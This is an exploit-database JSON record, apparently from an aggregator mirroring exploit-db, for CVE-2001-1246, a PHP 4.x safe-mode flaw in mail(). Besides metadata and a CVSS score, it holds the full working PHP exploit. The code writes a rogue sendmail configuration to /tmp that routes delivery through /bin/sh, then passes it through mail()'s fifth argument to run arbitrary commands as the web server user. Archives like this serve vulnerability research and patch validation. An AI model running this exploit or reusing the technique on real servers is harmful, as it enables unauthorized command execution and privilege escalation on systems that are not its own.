{"exploit":{"id":"EDB-20985","name":"PHP 4.x - SafeMode Arbitrary File Execution","description":"PHP 4.x - SafeMode Arbitrary File Execution","cves":["CVE-2001-1246"],"author":"Wojciech Purczynski","published":"2001-06-30","platform":"php","type":"local","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/20985","path":"exploits/php/local/20985.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-20985.php","vulnerabilities":[{"id":"CVE-2001-1246","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP 4.0.5 through 4.1.0 in safe mode does not properly cleanse the 5th parameter to the mail() function, which allows local users and possibly remote attackers to execute arbitrary commands via shell metacharacters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-1246","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-1246"},"updatedAt":"2024-08-08T04:51:08.236Z","retrievedAt":"2026-11-26T23:09:53.020Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-20985.png?v=2","url":"https://exploitbin.com/exploits/EDB-20985","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-20985/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-20985/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?\n/*\nsource: https://web.archive.org/web/2001/https://www.securityfocus.com/bid/2954/info\n\nPHP is the Personal HomePage development toolkit, distributed by the PHP.net, and maintained by the PHP Development Team in public domain.\n\nA problem with the toolkit could allow elevated privileges, and potentially unauthorized access to restricted resources. A local user may upload a malicious php script, and execute it with a custom query string.\n\nThis makes it possible for a local user to execute commands as the HTTP process UID, and potentially gain access with the same privileges of the HTTP UID.\n\nIt has been reported that the proposed fix does not entirely fix the problem, as it's possible to pass command line parameters to sendmail when safe_mode is enabled. This may be done through the 5th argument permitted by safe_mode.\n*/\n$script=tempnam(\"/tmp\", \"script\");\n$cf=tempnam(\"/tmp\", \"cf\");\n\n$fd = fopen($cf, \"w\");\nfwrite($fd, \"OQ/tmp\nSparse=0\nR$*\" . chr(9) . \"$#local $@ $1 $: $1\nMlocal, P=/bin/sh, A=sh $script\");\nfclose($fd);\n\n$fd = fopen($script, \"w\");\nfwrite($fd, \"rm -f $script $cf; \");\nfwrite($fd, $cmd);\nfclose($fd);\n\nmail(\"nobody\", \"\", \"\", \"\", \"-C$cf\");\n?>","sha256":"e1001e2378ebe6180924be639768a0ed387cbfe50a930c56258c29af84166962","bytes":1172,"fetchedAt":"2026-11-26T23:09:47.830Z","encoding":"utf-8 (display only; download retains original bytes)"}